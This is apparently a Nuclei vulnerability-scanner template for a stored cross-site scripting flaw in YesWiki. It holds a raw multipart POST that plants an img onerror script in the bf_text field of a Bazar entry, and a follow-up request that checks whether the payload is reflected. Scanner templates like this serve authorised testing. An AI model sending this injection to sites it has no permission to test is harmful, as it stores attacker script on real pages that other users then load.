id: yeswiki-stored-xss

info:
  name: YesWiki - Stored Cross-Site Scripting
  author: arafatansari
  severity: high
  description: |
    YesWiki contains a stored contains a cross-site scripting vulnerability via the bf_text field when adding a new entry for Forum.
  reference:
    - https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"yeswiki"
  tags: yeswiki,xss,stored-xss,huntr,intrusive

http:
  - raw:
      - |
        POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_titre"

        blog
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_text"

        "><img src=x onerror=console.log(123);>
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="file"; filename=""
        Content-Type: application/octet-stream

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="bf_description"

        abcd
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="fichierbf_file"; filename=""
        Content-Type: application/octet-stream

        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="antispam"

        1
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu
        Content-Disposition: form-data; name="id_typeannonce"

        2
        ------WebKitFormBoundaryT8dS2PT0WtxACLyu--
      - |
        GET /?BazaR&vue=consulter HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_2, 'text/html') && contains(header_2, 'YesWiki')"
          - "status_code_2 == 200"
          - contains(body_2, '><img src=x onerror=console.log(123);>')
        condition: and

# digest: 4a0a0047304502201f0e4ff23cec2986edd79c2da5735c84cef6ac2abd8e1926b37b64375a77b57e022100dbd9061054542ce5c944ee769fd15843b30682e3ecbdabc9e355dfea64f8422e:922c64590222798bb761d5b6d8e72950